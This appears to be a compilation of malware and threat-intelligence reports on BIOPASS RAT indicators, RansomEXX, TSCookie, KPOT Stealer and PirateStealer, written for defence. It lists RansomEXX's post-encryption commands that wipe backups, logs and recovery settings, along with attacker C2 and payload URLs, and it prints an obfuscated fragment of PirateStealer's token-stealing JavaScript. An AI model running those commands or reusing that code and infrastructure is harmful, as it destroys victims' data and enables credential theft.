f1ad25b594a855a3c9af75c5da74b44d900f6fbb655033f9a98a956292011c8e | Silverlight.exe | BIOPASS RAT Loader | | fa1d70b6b5b1a5e478c7d9d840aae0cc23d80476d9eea884a73d1b7e3926a209 | 64.exe | BIOPASS RAT Loader | | fa7fbca583b22d92ae6d832d90ee637cc6ac840203cd059c6582298beb955aee | test.exe | BIOPASS RAT Loader | | fb770a3815c9ebcf1ba46b75b8f3686acc1af903de30c43bab8b86e5b46de851 | test4.exe | BIOPASS RAT Loader | | fb812a2ccdab0a9703e8e4e12c479ff809a72899374c1abf06aef55abbbf8edc | flash_installer.exe | BIOPASS RAT Loader | | ee2e9a1d3b593fd464f885b734d469d047cdb1bc879e568e7c33d786e8d1e8e2 | aos.exe | BIOPASS RAT binary (PyInstaller) | | afbfe16cbdd574d64c24ad97810b04db509505522e5bb7b9ca3b497efc731045 | socketio.exe | BIOPASS RAT binary (Nuitka) | | 0b9f605926df4ff190ddc6c11e0f5839bffe431a3ddfd90acde1fcd2f91dada3 | socketio.exe | BIOPASS RAT binary (Nuitka) | | 6fc307063c376b8be2d3a9545959e068884d9cf7f819b176adf676fc4addef7d | flash_ins_bak.exe | BIOPASS RAT binary (Nuitka) | | 7249ad971283e164b0489110c23f4e40c64ee49b49bcc5cd0d32d9e701ec2114 | files.zip | BIOPASS RAT binary (Nuitka) | | de17e583a4d112ce513efd4b7cb575d272dcceef229f81360ebdfa5a1e083f11 | fn.exe | BIOPASS RAT binary (Nuitka) | | 17e43d31585b4c3ac6bf724bd7263761af75a59335b285b045fce597b3825ed0 | systemsetting.exe | BIOPASS RAT binary (PyInstaller) | | b3bd28951789ef7cfaf659e07e198b45b04a2f3cde268e6ede4d4f877959341e | systemsetting.exe | BIOPASS RAT binary (PyInstaller) | | e0caebfbd2804fcde30e75f2c6d06e84b3bf89ed85db34d6f628b25dca7a9a0f | YIZHI_SIGNED.exe | BIOPASS RAT binary (PyInstaller) | | 2503549352527cb0ffa1811a44481f6980961d98f9d5a96d5926d5676c31b9ee | socketio.exe | BIOPASS RAT binary (Nuitka) | | 8ba72a391fb653b2cc1e5caa6f927efdf46568638bb4fc25e6f01dc36a96533b | flashplayerpp_install_cn.exe | BIOPASS RAT binary (Nuitka) | | e5fdb754c1a7c36c288c46765c9258bb2c7f38fa2a99188a623182f877da3783 | beep.sys | Derusbi | | a7e9e2bec3ad283a9a0b130034e822c8b6dfd26dda855f883a3a4ff785514f97 | Browser_plugin (8).exe | Cobalt Strike Loader | ## IP/Domain/URL | IP/Domain/URL | Note | |---------------|------| | webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0[.]oss-cn-hongkong[.]aliyuncs[.]com | Cloud storage bucket used to host BIOPASS RAT loaders | | softres[.]oss-accelerate[.]aliyuncs[.]com | Cloud storage bucket used to host BIOPASS RAT loaders | | flashdownloadserver[.]oss-cn-hongkong[.]aliyuncs[.]com | Cloud storage bucket used to host BIOPASS RAT modules and stolen data | | lualibs[.]oss-cn-hongkong[.]aliyuncs[.]com | Cloud storage bucket used to host Cobalt Strike loader scripts | | bps-rhk[.]oss-cn-hongkong[.]aliyuncs[.]com | Cloud storage bucket used for RTMP live streaming | | wxdget[.]oss-cn-hongkong[.]aliyuncs[.]com | Cloud storage bucket used for storing stolen WeChat data | | chinanode[.]microsoft-update-service[.]com:38080 | BIOPASS RAT C&C server | | 0x3s[.]com | XSS attack domain | | update[.]flash-installer[.]com | Associated fake installer domain | | update[.]flash-installers[.]com | Associated fake installer domain | | flash[.]com[.]cm | Associated fake installer domain | | flash[.]com[.]se | Associated fake installer domain | | flashi[.]com[.]cn | Associated fake installer domain | | flash[.]co[.]cm | Associated fake installer domain | | 47[.]57[.]142[.]30 | Cobalt Strike C&C server | | 47[.]57[.]186[.]151 | Cobalt Strike C&C server | | 103[.]158[.]190[.]58 | Cobalt Strike C&C server | | 207[.]148[.]100[.]49 | Cobalt Strike C&C server | | microsoft[.]update[.]flash[.]com.se | Cobalt Strike C&C server | | hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0[.]oss-cn-hongkong.aliyuncs[.]com/Silverlight_ins.exe | BIOPASS RAT loader download URL | | hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0.oss-cn-hongkong.aliyuncs[.]com/flash_ins[.]exe | BIOPASS RAT loader download URL | | hxxp://softres.oss-accelerate[.]aliyuncs[.]com/Silverlight[.]exe | BIOPASS RAT loader download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/big.txt | BIOPASS RAT script download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/Online.txt | BIOPASS RAT script download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/files.zip | Python runtime package download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/ServiceHub.zip | Python runtime package download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/c1222.txt | c1222 module script download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/cdaemon.txt | cdaemon module download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/x.txt | Cobalt Strike Python loader download URL | | hxxp://lualibs.oss-cn-hongkong[.]aliyuncs.com/x86/1-CS-443.lua | Cobalt Strike Lua loader download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/s.txt | Cobalt Strike shellcode download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/sc2.txt | Cobalt Strike shellcode download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/sc3.txt | Cobalt Strike shellcode download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/getwechatdb.txt | getwechatdb plug-in download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/wechat.txt | getwechatdb plug-in download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/xss_spoof.zip | xss_spoof plug-in download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/xss.txt | XSS payload download URL | | hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/script.txt | XSS payload download URL | | hxxp://0x3s[.]com/x[.]js | XSS injection URL |
# Cybereason vs. RansomEXX Ransomware Over the last few months, the Cybereason Nocturnus Team has been tracking the activity around the RansomEXX ransomware. It has been active since 2018 but came to fame in 2020 in attacks on major organizations such as the Texas Department of Transportation. RansomEXX started as a Windows variant, but a Linux variant was discovered earlier this year. ## Key Findings - **Human-operated targeted attacks:** RansomEXX is being used as a part of multi-staged human-operated attacks targeting various government-related entities and tech companies. It is being delivered as a secondary payload after the initial compromise of the targeted network. - **Disables security products:** The Windows variant has a functionality that was seen before in other ransomware, disabling various security products for smooth execution on the infected machine. - **Multi-Platform:** RansomEXX started solely as a Windows variant, but later a Linux variant was added to the arsenal, sharing similarities with its predecessor. - **Fileless ransomware:** RansomEXX is usually delivered as a secondary in-memory payload without ever touching the disk, which makes it harder to detect. ## Background The RansomEXX family, also known as Defray777 and Ransom X, runs as a solely in-memory payload that is not dropped to disk, making it highly evasive. RansomEXX was involved in three major attacks in 2020 against Texas TxDOT in May, against Konica Minolta in the end of July, and against Brazil's court system in the beginning of November. In addition, last December, RansomEXX operators published stolen credentials from Embraer, one of the largest aircraft makers in the world, on its own leaks website as part of the ongoing double extortion trend. In mid-2020, a Linux variant of RansomEXX emerged. This variant, despite sharing similarities with the Windows variant, is simpler than its predecessor and lacks many features such as disabling security software and command and control communication. There are decryptors for both variants, and the threat actors send paying victims a private key to decode their files. ## RansomEXX Analysis This analysis focuses on the Windows variant of RansomEXX, which can be classified as fileless malware because it is reflectively loaded and executed in memory without touching the disk. Analysis of this sample reveals that it is partially obfuscated but includes indicative information such as the “ransom.exx” string that can be seen hardcoded in the binary. Upon execution, RansomEXX starts decrypting some strings necessary for its operation. The mutex the malware creates is generated from the GUID of the infected machine. The decrypted strings at this point include mainly logs. RansomEXX spawns a separate thread in the background to handle the logging process. When debugging the sample, the logs themselves can be seen in the console. The malware then continues with terminating processes and system services that may interfere with the execution but excludes those that are relevant for its execution. Cybereason detects the execution of RansomEXX together with the below listed commands that are executed post-encryption. These commands’ role is to prevent the victim from restoring their system by deleting backups, Windows error recovery, etc. Cybereason also detects this malicious usage of Windows utilities: ### Commands Executed Post-Encryption | Command | Action | |-------------------------------------------------------------------------|-----------------------------------------------------| | "C:\Windows\System32\fsutil.exe" usn deletejournal /D | fsutil.exe deletes the Update Sequence Number journal | | "C:\Windows\System32\wbadmin.exe" delete catalog - quiet | wbadmin.exe deletes the backup catalog | | "C:\Windows\System32\wevtutil.exe" cl Setup | wevtutil clears event logs | | "C:\Windows\System32\wevtutil.exe" cl System | | | "C:\Windows\System32\wevtutil.exe" cl Application | | | "C:\Windows\System32\wevtutil.exe" cl Security | | | "C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures | bcdedit disable recovery mode | | "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled no | | | "C:\Windows\System32\cipher.exe" /w:C: | cipher overwrites deleted data in drive C | | "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable | schtasks disables the system restore scheduled task | | "C:\Windows\System32\wevtutil.exe" sl Security /e:false | wevtutil disables the security event logs | After preparation of the environment, RansomEXX encrypted the files on the victim’s machine, and the following note is left on the machine. The commands that disable file recovery and system restore after successfully encrypting the victim’s files can also be observed clearly in the sample’s code. ## Cybereason Detection and Prevention Cybereason detects the Windows utilities that are executed post-encryption as malicious and triggers a Malop(™) for all of them. Looking at the Malop that was triggered by fsutil, the evidence for malicious activity can be seen together with the suspicions mapped to the MITRE ATT&CK matrix. When Cybereason anti-ransomware prevention is turned on, the execution of RansomEXX is prevented using the AI module. ## Security Recommendations - Enable the Anti-Ransomware Feature on Cybereason NGAV: Set Cybereason Anti-Ransomware protection mode to Prevent. - Enable Anti-Malware Feature on Cybereason NGAV: Set Cybereason Anti-Malware mode to Prevent and set the detection mode to Moderate and above. - Keep Systems Fully Patched: Make sure your systems are patched to mitigate vulnerabilities. - Regularly Backup Files to a Remote Server: Restoring your files from a backup is the fastest way to regain access to your data. - Use Security Solutions: Protect your environment using organizational firewalls, proxies, web filtering, and mail filtering. - Indicators of Compromise: Includes C2 Domains, IP addresses, Docx files SHA-1 hashes, and Msi files. ## MITRE ATT&CK BREAKDOWN - **Defense Evasion** - Impair Defenses: Disable or Modify Tools - Indicator Removal on Host: File Deletion - **Impact** - Data Encrypted for Impact - **Execution** - Command and Scripting Interpreter: Windows Command Shell - Command and Scripting Interpreter: Unix Shell - **Discovery** - Scheduled Task/Job Discovery - File and Directory Discovery - Software Discovery: Security Software Discovery ## About the Author Daniel Frank is a senior Malware Researcher at Cybereason. Prior to Cybereason, Frank was a Malware Researcher in F5 Networks and RSA Security. His core roles as a Malware Researcher include researching emerging threats, reverse-engineering malware, and developing security-driven code. Frank has a BSc degree in information systems. ## RansomEXX Ransomware | Indicators of Compromise | IOC | Type | Description | |-----------------------------------------------------------|----------|---------------------------------| | 0abaa05da2a05977e0baf68838cff1712f1789e0 | SHA1 | RansomEXX Windows Executable | | 6fae9aa52fd89bac83b69c2fbdc65c96e886427f | SHA1 | RansomEXX Linux Executable | | 06606fea0daaa99bd8ebfeb60f19976c20e6bb72 | SHA1 | | | 0122efe580848879bb70f40ede63cb2edbfb4163 | SHA1 | | | ccfc9578f721fbad30aa74facf20817abe118bfd | SHA1 | | | 423a2bf7ac322273bdacf638703ea99c44462862 | SHA1 | | | dfc37340f5deaa89681539b0f5c22059aac4c31d | SHA1 | | | 9711cdf002e5b7ecccfa309058d53dde67b029ee | SHA1 | | | 3e6689dc6a8a717b4114a7fe65bba594c597c7b9 | SHA1 | | | 18b2704b49828035148aebe9e77b286a30c702b6 | SHA1 | | | e7748b92347f95589fa739cbe5c089046614ce92 | SHA1 | | | 427178528152670c68f2f2937f05a5cdfebff1c2 | SHA1 | | | 3555aaebe6c113fb8f923a38cb3bd75da6e86277 | SHA1 | | | 6185e3514a32d2f3fb9ce292ba514d01584cced8 | SHA1 | | | fc9284b7a140c0d411ebd0eb4752e477d5d213fc | SHA1 | | | 11eec31710902820e79ba1e363d4c1256b75c615 | SHA1 | | | 5238ba19bb3c7298ee13fe6eb0cf5f8787c13cd8 | SHA1 | | | 24e773aa271fc0636cda6b0966a6034b65cb3052 | SHA1 | | | 91ad089f5259845141dfb10145271553aa711a2b | SHA1 | RansomEXX Linux Executable | | 132def0d906a53360bdbdd3da109bfa41bcdbb6c | SHA1 | | | 3bf79cc3ed82edd6bfe1950b7612a20853e28b09 | SHA1 | | | 50f191f04aa6cff1d8688a3c5d6cce96739ab6b3 | SHA1 | |
# Bug in Malware “TSCookie” - Fails to Read Configuration **Shusei Tomonaga** November 12, 2018 In a previous article, we introduced malware ‘TSCookie’, which is assumedly used by an attacker group BlackTech. We have been observing continuous attack activities using the malware until now. In the investigation of an attack observed around August 2018, we confirmed that there was an update in the malware. There are two points meriting attention in this update: - Communication with C&C server - Decoding configuration information This article will introduce the details of the update. ## Communication with C&C server In the previous version, TSCookie included encrypted contents in the Cookie header to communicate to a C&C server. ``` GET /Default.aspx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Date: Thu, 18 Jan 2018 10:20:55 GMT Pragma: no-cache Accept: */* Cookie: 1405D7CD01C6978E54E86DA9525E1395C4DD2F276DD28EABCC3F6201ADAA66F55C15352D29D0FFE51BC9D4 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32) Host: [host name]:443 ``` In the new version, the Cookie header is no longer used. Instead, encrypted contents are placed within the URL parameter as below: ``` GET /t3328483620.aspx?m=4132641264&i=44D6CF457ADC27B2AFAAEAA&p=EF4D5069C30D6CAC9 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32) Host: [host name]:443 ``` If received an ack from the server to this HTTP GET request, an HTTP POST request will be sent as a next step. The communication feature is the same as the previous TSCookie. For encryption, RC4 is still used, but the key is generated differently. Here is an example code for decoding HTTP GET request parameter. ```python data = "&" + sys.argv[1] # sys.argv[1] = URL path conf_key = sys.argv[2].decode("hex") # sys.argv[2] = Configuration key field = data.split("&") url_key = field[1] i = 2 encdata = "" while i < len(field): value = field[i].split("=") encdata += value[1] i += 1 key1 = 0 for i in range(len(url_key)): key1 = ord(url_key[i]) + ROR(key1, 13) key1 = key1 & 0xFFFFFFFF key2 = 0 for i in range(len(conf_key)): key2 = ord(conf_key[i]) + ROR(key2, 13) key2 = key2 & 0xFFFFFFFF key = pack("I", key1) + pack("I", key2) decode_data = rc4(encdata.decode('hex'), key) ``` ## Decoding configuration information TSCookie possesses its own configuration information and operates accordingly. The details of the configuration remain the same in the new version. The difference is the decoding method of the configuration. Previously, TSCookie had its 4-byte RC4 key in the beginning of the configuration, which was used for decoding. In the new version, the size is expanded to 0x80 bytes. We have confirmed that this update made TSCookie fail to read part of the configuration. The code copies data sized 0x8D4 (0x8D0 + 4 bytes), which ignores the updated RC4 key size. To copy the updated RC4 key and configuration correctly, it needs to be set to 0x950 (0x8D0 + 0x80 bytes). With this fault, configuration cannot be decoded properly. Decoded results differ in the left figure (with the wrong, smaller copy size) and right figure (with correct, expanded copy size). Data at 0x89C byte (4 bytes) specifies the waiting time (seconds) before reconnecting to a C&C server. The attackers initially set this to 99 (0x63) seconds; however, it will not be reconnected for few days since it is not read properly. ## In closing It is often the case that attackers give an update to their malware based on analysis reports provided from security vendors. We assume that this bug will be fixed sooner or later. We will update when we confirm new malware features. The malware sample’s hash value is available in Appendix A, and we also list some C&C servers in Appendix B. We hope this is helpful in identifying signs of infection. **Appendix A** SHA-256 Hash Value of a sample: `a5c75f4d882336c670f48f15bf3b3cc3dfe73dba7df36510db0a7c1826d29161` **Appendix B** C&C server: - mediaplayer.dnset.com - mediaplayers.ssl443.org - fashion.androiddatacenter.com - sakurings.flnet.org **Author** Shusei Tomonaga Since December 2012, he has been engaged in malware analysis and forensics investigation, and is especially involved in analyzing incidents of targeted attacks. Prior to joining JPCERT/CC, he was engaged in security monitoring and analysis operations at a foreign-affiliated IT vendor. He presented at CODE BLUE, BsidesLV, BlackHat USA Arsenal, Botconf, PacSec, and FIRST Conference. JSAC organizer.
# Attacks Are Tailored to You—Your Intelligence Should Be, Too 2021 may well be called, “the year of the targeted attack.” Over and over, threat actors have carried out carefully crafted operations using infrastructure tailored to specific victim organizations. On the other side of the table, large organizations rely on security tools that, at best, attempt to block the indicators they observed hitting other organizations previously. These IOCs don’t necessarily relate to the defending organization, meaning blue teams regularly miss the actors crafting domains and infrastructure to get beyond their particular defenses. It is too easy for the organized crime or espionage group to develop new, bespoke assets to attack an organization safe in the knowledge of how to evade traditional security products and services. We regularly see assets set up with such specific evasion techniques in mind. We see domains registered and then aged for a period of time before malicious use to avoid age-based reputation scores; we see domains imitating supply chain partners of various types to avoid security practitioners and potential victims becoming suspicious when seeing them in logs; we see rotating name servers and customized name servers in order to communicate with specialized malware while avoiding fingerprinting rules and behavior-based detection techniques. At the same time, we see very few innovations from security vendors to react to these new techniques. It’s time for the security industry and those defending teams to fight back. We want to equip enterprises with the freedom to protect themselves. Everybody needs their own customized threat intelligence. If an organization can’t meaningfully search for the attacks that are being tailored to them, what chance do they have? We are exposing the analytics to help organizations track and trace the very attacker infrastructure being designed just for them. We allow threat intelligence teams to shine a light on this infrastructure as it is going live so they have a chance to proactively defend their organizations instead of hoping to discover the infrastructure after it’s hit someone else. Enterprises have been expected to accept ‘black box’ thinking from their security vendors for years: ‘You don’t need to know the details of how we detect things, just pay us the money and trust that we are defending you.’ That clearly hasn’t worked. We are now exposing the underlying connections and patterns to enable enterprises to create their own intelligence feeds, focused on what they need to defend against. If 5 threat groups use the same malicious infrastructure provider, then the enterprise needs to defend against that infrastructure provider. If numerous advanced threat groups use the same technique of managing and aging domains over time, then the enterprise needs to be able to identify domains currently managed with that technique going live. If a virtual Bullet Proof Hosting Provider is the commonality across numerous campaigns by different groups, then a defending enterprise must be able to identify the fingerprint of that provider to defend against it. These are the things we can allow the enterprise to do. We want to empower enterprise Threat Intelligence teams with the tools to generate their own new intelligence and to fuse their current intelligence with new insights that help contextualize and prioritize what matters today.
# New KPOT v2.0 Stealer Brings Zero Persistence and In-Memory Features to Silently Steal Credentials **May 09, 2019** **Dennis Schwarz and the Proofpoint Threat Insight Team** KPOT Stealer is a “stealer” malware that focuses on exfiltrating account information and other data from web browsers, instant messengers, email, VPN, RDP, FTP, cryptocurrency, and gaming software. Proofpoint researchers started seeing KPOT Stealer distributed via email campaigns and exploit kits in August 2018. In addition, colleagues at Flashpoint Intel observed the malware targeting users of the Jaxx cryptocurrency wallet in September 2018. Recently, actors began delivering a newer version of the malware; this post analyzes one of those campaigns along with the malware itself. This newer version is commercially available as “KPOT v2.0” on various underground hacking forums for around $100 USD. ## Campaign Analysis KPOT has been observed in a variety of email campaigns. For example, the following message shared tactics, techniques, and procedures (TTPs) with campaigns delivering another malware family, Agent Tesla, from similar documents and the same payload domain. **From:** Fernandes <[email protected]> **Subject:** Due payment-Bank transfer **Date:** Tue, 30 Apr 2019 **Attachment:** "Bank transfer copy.doc" In this example, the attachment was an LCG Kit variant RTF document which uses Equation Editor exploit CVE-2017-11882 to download an intermediate downloader via a bit.ly link. The downloader, in turn, fetches parts of a PowerShell script that includes the Base64-encoded payload from various paste.ee links. The payload is KPOT Stealer with configuration: - C2: hxxp://5.188.60[.]131/a6Y5Qy3cF1sOmOKQ/gate.php - XOR key: Adx1zBXByhrzmq1e ## Malware Analysis KPOT Stealer is a “stealer” malware written in C/C++ that focuses on stealing account information and other data from various software applications and services. Its name is based on the command and control (C&C) panel used in earlier versions of the malware. Most of the malware’s important strings are encrypted. Each encrypted string is stored in an array of 8-byte structures where each structure contains: - XOR key (WORD) - String length (WORD) - Pointer to encrypted string (DWORD) Each encrypted string can be decrypted by XORing it with its XOR key. ### Windows API Calls KPOT Stealer resolves most of the Windows API functions it uses at runtime by hash. The hashing algorithm used is known as MurmurHash and it is seeded with 0x5BCFB733 in the analyzed sample. The following table contains a list of some of the hashes used and their corresponding Windows API name: - 0xEC595E53 GetModuleFileNameW - 0x68CCF342 CreateStreamOnHGlobal - 0xCF724FBB GetVolumeInformationW - 0xB6B1AD4A InternetOpenW - 0x6EAB51D socket ## Command and Control KPOT uses HTTP for command and control. The URL components are stored as encrypted strings. In the analyzed sample, the URL was “hxxp://bendes[.]co[.]uk/lmpUNlwDfoybeulu/gate.php”. The malware also has support for .bit C&C domains which are becoming more prevalent. Two types of requests are sent to the C&C server. The first request is a GET request. The response from the C&C is base64 encoded and XOR’d with a hardcoded key that is stored as an encrypted string. The key was “4p81GSwBwRrAhCYK”. An example of the plaintext response looks like: ``` 1111111111111100__DELIMM__A.B.C.D__DELIMM__appdata__GRABBER__*.log,*.txt,__GRABBER__%appdata%__GRABBER__0__GRABBER ``` The data is delimited by “__DELIMM__” and can be split into the following types of data: 1. A bit string indicating what commands to run 2. The external IP address of the victim 3. “GRABBER rules” specifying what files to search for and exfiltrate Before any commands are run, the malware checks to see if the victim is located in any of the Commonwealth of Independent States (CIS). If it is, the malware exits without further action. After the commands are run, a POST request is sent to the C&C. The POST data is XOR encrypted with the hardcoded XOR key used in the GET response above and once decrypted contains various data organized into sections. Each section has a start delimiter like “FFFILEE:” or “SYSINFORMATION:” and an end delimiter like “_FFFILEE_” or “_SYSINFORMATION_”. Sections include: - 62-byte structure containing: - Is process token elevated - Process integrity level - Windows version - Locale - Bot ID - Additional system information including: - Windows version - Machine GUID - External IP - CPU - RAM - Screen - Computer name - User name - Local time - GPU - Keyboard layouts - Installed software - Command outputs - Exfiltrated files ## Commands and Functionality The first component of the GET response above is a 16 digit bit string, e.g. “1111111111111100”. Each “1” turns on some command functionality while each “0” turns it off. The commands provide the following functionality: - Steal cookies, passwords, and autofill data from Chrome - Steal cookies, passwords, and autofill data from Firefox - Steal cookies from Internet Explorer - Steal various cryptocurrency files - Steal Skype accounts - Steal Telegram accounts - Steal Discord accounts - Steal Battle.net accounts - Steal Internet Explorer passwords - Steal Steam accounts - Take a screenshot - Steal various FTP client accounts - Steal various Windows credentials - Steal various Jabber client accounts - Remove self KPOT Stealer also has the ability to search for and exfiltrate arbitrary files. “Rules” specifying what files to search for can be delivered in the above GET response. Each rule has five components delimited by "__GRABBER__". An example rule split up into its components looks like: ``` ['appdata', '*.log,*.txt,', '%appdata%', '0', '1024'] ``` This rule is called “appdata” and looks for any “.log” or “.txt” files in “%APPDATA” that are between 0 and 1024 bytes. The analyzed sample lacks a persistence mechanism. The malware queries its C&C server for the commands it should execute, executes the commands, delivers the results to the C&C, and then exits. ## Conclusion Client desktop operating systems running many types of applications, such as web browsers, instant messengers, email, VPN, RDP, FTP, cryptocurrency, and gaming software are increasingly being targeted for credential and other data theft by relatively quiet off-the-shelf malware such as KPOT Stealer through email campaigns. The commercial nature of these tools means that sophisticated capabilities are accessible to even technically unskilled criminals and highlight the ease with which threat actors can get started and change tools and tactics. We advise our customers to remain vigilant in terms of securing their client systems with the latest vendor patches, platform updates, and improving general awareness of social engineering techniques within their respective user populations. ## Indicators of Compromise - **67f8302a2fd28d15f62d6d20d748bfe350334e5353cbdef112bd1f8231b5599** SHA256 KPOT Stealer (Malware Analysis) - **1f2852eeb1008b60d798f0cbcf09751e26e7980b435635bbef568402b3f82504** SHA256 KPOT Stealer (Campaign Analysis) - **36dcd40aee6a42b8733ec3390501502824f570a23640c2c78a788805164f77ce** SHA256 Intermediate downloader (Campaign Analysis) - **hxxp://bendes.co[.uk/lmpUNlwDfoybeulu/gate.php** URL KPOT Stealer C&C URL (Malware Analysis) - **hxxp://5.188.60[.]131/a6Y5Qy3cF1sOmOKQ/gate.php** URL KPOT Stealer C&C URL (Campaign Analysis)
# Malware Analysis and Triage Report: PirateStealer - Discord_beta.exe **Author:** Mayank Malik **Date:** December 1, 2022 **Read Time:** 8 min ## Executive Summary ### A. Fingerprinting 1. **MD5:** c5782ebad92661d4acfacaf4daa1fc52 2. **SHA256:** 1b82ac159d87162964a4eb61122bb411a35e748e135cc3b97ab39466e5827c7e ### B. Classification PirateStealer is a new Info Stealer in the scene. Not much info is provided about this family and the sample is relatively new. No traces have been found on either Malware Bazaar or Malpedia. The sample will be submitted to aforementioned databases after this post. ### C. Behavioral Summary The sample executes itself and checks for the presence of a Virtualized Environment by using registry information and disk drive identifiers. It throws an error and exits itself after failing the virtualization check. If the check succeeds, it scours through the directory `C:\User\<username>\AppData\Local\*` to harvest credentials, create an archive `save.zip`, and exfiltrate it over HTTPS to an endpoint on `4wz[.]us`. ## 2. Static Analysis Some interesting strings that confirm the info stealer is programmed using Nim: - `bitstreams.nim` - `@iterators.nim(240, 11) len(a) == L` - `deflate.nim` - `gzip.nim` - `zippy.nim` - `db_sqlite.nim` - `puppy.nim` ### Imported function calls from standard DLL files | Function Name | Suspicious | |-------------------------------------|------------| | CloseHandle | | | CreateFileA | | | CreateFileMappingA | | | CreateFileMappingW | | | CreateFileW | | | CreateMutexW | Y | | DeleteCriticalSection | | | DeleteFileA | | | DeleteFileW | | | EnterCriticalSection | | | FlushFileBuffers | | | FlushViewOfFile | | | FormatMessageA | | | FormatMessageW | | | FreeLibrary | | | GetCurrentProcessId | Y | | GetCurrentThreadId | Y | | GetDiskFreeSpaceA | | | GetDiskFreeSpaceW | | | GetFileAttributesA | | | GetFileAttributesExW | | | GetFileAttributesW | | | GetFileSize | | | GetFullPathNameA | | | GetFullPathNameW | | | GetLastError | | | GetProcAddress | Y | | GetProcessHeap | Y | | GetStartupInfoA | Y | | GetSystemInfo | Y | | GetSystemTime | | | GetSystemTimeAsFileTime | | | GetTempPathA | | | GetTempPathW | | | GetTickCount | Y | | GetVersionExA | | | GetVersionExW | | | HeapAlloc | | | HeapCompact | | | HeapCreate | | | HeapDestroy | | | HeapFree | | | HeapReAlloc | | | HeapSize | | | HeapValidate | | | InitializeCriticalSection | | | IsDBCSLeadByteEx | | | LeaveCriticalSection | | | LoadLibraryA | Y | | LoadLibraryW | Y | | LocalFree | | | LockFile | | | LockFileEx | | | MapViewOfFile | | | MultiByteToWideChar | | | OutputDebugStringA | | | OutputDebugStringW | | | QueryPerformanceCounter | | | ReadFile | | | SetEndOfFile | | | SetFilePointer | | | SetUnhandledExceptionFilter | | | Sleep | | | SystemTimeToFileTime | | | TlsGetValue | | | TryEnterCriticalSection | | | UnlockFile | | | UnlockFileEx | | | UnmapViewOfFile | | | VirtualAlloc | Y | | VirtualFree | | | VirtualProtect | Y | | VirtualQuery | | | WaitForSingleObject | | | WaitForSingleObjectEx | | | WideCharToMultiByte | | | WriteFile | | A highly obfuscated JavaScript file was found in the executable. On deobfuscation of the above, the following script was recovered. ```javascript let var _0x4e36eb = _0x534c; function _0x534c(_0x534ce2, _0x16ca1e) { var _0x53c7eb = _0x519e(); return _0x534c = function (_0x8a4667, _0x43ddf0) { _0x8a4667 = _0x8a4667 - (0x1d98 + -0x1329 + 0x1d2 * -0x5); var _0x1cdf74 = _0x53c7eb[_0x8a4667]; return _0x1cdf74; }, _0x534c(_0x534ce2, _0x16ca1e); } function _0x519e() { var _0x2b3aad = ['np?(gg=win', 'PBOWW', 'querystrin', 'https:/', 'Added', '3308240uRVMVW', 'atus.disco', 'APsQN', 'a-zA-Z_$][', ',delete gg', 'CSsXV', 'Credit Card', 'it_card:', 'ization\", ', 'teway.disc', 'wfMND', 'r:87475080', 'm/api/v*/u', 'des__', ', false );', ':detective', 'init-notif', '<:staff:87', 'dccto', 'length', 'qfsKk', '){let b=gg', 'etToken())', 'ord.com/ap', 'XncJL', 'tToken\'==a', 'omdeg', 'solve, rej', 'filter', 'instant', 'seText', 'Code', 'ppIpa', '\x0aIP: \x0a', '\"get_requi', 'TAGOR', 'aYEzE', 'sSijL', 'KBwCt', 'Total Frie', 'wKZjJ', 'Expiration', 'vwlRl', 'lete gg.m.', 'AcoOC', 'XskMY', 'f.surf/raw', 'Zzhbc', 'GNmhe', '0e9b68a72f', 'https://di', 'wfvqi', 'MeWEl', '262128NuIOoY', 'orts=c},[[' , '() {\x0a ', 'NheeB', 'ciuSB', 'RKogs', 'wzwea', 'rOYnM', 'avgKz', '\x0a```', 'mxYAj', 'FQHdE', 'rXtXQ', 'Authorizat', 'irDNj', 'new_passwo', 'ofqjO', 'No Nitro', 'rxxIn', 'HmBlt', 'MZoXH', 'GARxw', 'in before)', ' false ); ', 'KCfWR', 'api/v*/aut', 't c in gg.', 'pp.push([[', 'ut(){(func', 'Cgrtz', 'ader(\"Auth', 'New Passwo', 'mevkn', 'd5b7ffb2b4', '.send( nul', 'jTHbE', 'call', '.setReques', '/v*/schedu', 'RVzOJ', 'n\');xmlHtt', 'orization\"', 'CBteQ', 'UBaAx', 'ate\":false', '.c[a].expo', '<:partner:', 'hasOwnProp', 'quire\']]])', 'gEGLB', 'Password C', 'ut(User n', '<:hypesqua', 'eXdml', '&&(token=b', 'ibrary', 'Math.rando', 'QIGKA', 'PxSOz', 'lIUkL', 'nds (', 'hDSBx', 'discrimina', ' ', 'FhNxM', '6661178a2c', 'embed-colo', 'HjNsE', 'GHhZo', 'PCAZg', 'Text', 'sycCv', 'p.response', 'kVRzM', 'PjrcV', 'ear]', 'tokens', 'g.c.get_re', 'fields', 'scord.com/', 't)))return', 